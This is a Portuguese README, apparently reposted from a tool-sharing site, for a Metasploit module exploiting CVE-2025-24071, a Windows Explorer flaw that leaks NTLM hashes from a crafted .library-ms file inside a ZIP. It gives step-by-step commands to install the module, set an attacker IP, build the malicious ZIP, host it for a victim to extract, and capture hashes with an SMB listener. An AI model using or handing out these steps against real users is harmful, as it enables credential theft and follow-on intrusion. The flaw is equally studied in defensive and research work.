CVE-2025-24071-msfvenom

CVE-2025-24071: Vazamento de Hash NTLM via Arquivo .library-ms (Módulo do Metasploit)

Este repositório contém um módulo do Metasploit para explorar o CVE-2025-24071, uma vulnerabilidade no Windows Explorer que vaza hashes NTLM quando um arquivo .library-ms malicioso é extraído de um arquivo ZIP.

Desenvolvido por: FOLKS-IWD

Visão Geral

A vulnerabilidade ocorre quando um usuário extrai um arquivo ZIP contendo um arquivo .library-ms especialmente projetado. O Windows Explorer inicia automaticamente uma solicitação de autenticação SMB para um servidor remoto especificado no arquivo, vazando o hash NTLM do usuário sem qualquer interação.

Este módulo do Metasploit:

1. Gera um arquivo .library-ms malicioso.
2. Empacota-o em um arquivo ZIP.
3. Integra-se com a funcionalidade de captura SMB do Metasploit para coletar hashes NTLM.

Instalação

1. Clone o repositório:
   root@kitploit:~

   git clone https://github.com/FOLKS-IWD/CVE-2025-24071-msfvenom.git
   cd CVE-2025-24071-msfvenom
   

2. Copie o módulo para o diretório de módulos do Metasploit:
   root@kitploit:~

   cp ntlm_hash_leak.rb ~/.msf4/modules/auxiliary/server/
   

Uso

1. Carregue o módulo:
   root@kitploit:~

   use auxiliary/server/ntlm_hash_leak
   

2. Defina as opções necessárias:
   root@kitploit:~

   set ATTACKER_IP 192.168.1.162  # Substitua pelo seu endereço IP
   set FILENAME exploit.zip       # Nome do arquivo ZIP malicioso
   set LIBRARY_NAME malicious.library-ms  # Nome do arquivo .library-ms
   set SHARE_NAME shared          # Nome do compartilhamento SMB
   

3. Execute o módulo:

  run

4. O módulo gerará um arquivo ZIP malicioso (exploit.zip). Hospede este arquivo para a vítima baixar e extrair.
5. Utilize o módulo de captura SMB do Metasploit para coletar hashes NTLM:
   root@kitploit:~

   use auxiliary/server/capture/smb
   set SRVHOST 192.168.1.162  # Mesmo que ATTACKER_IP
   run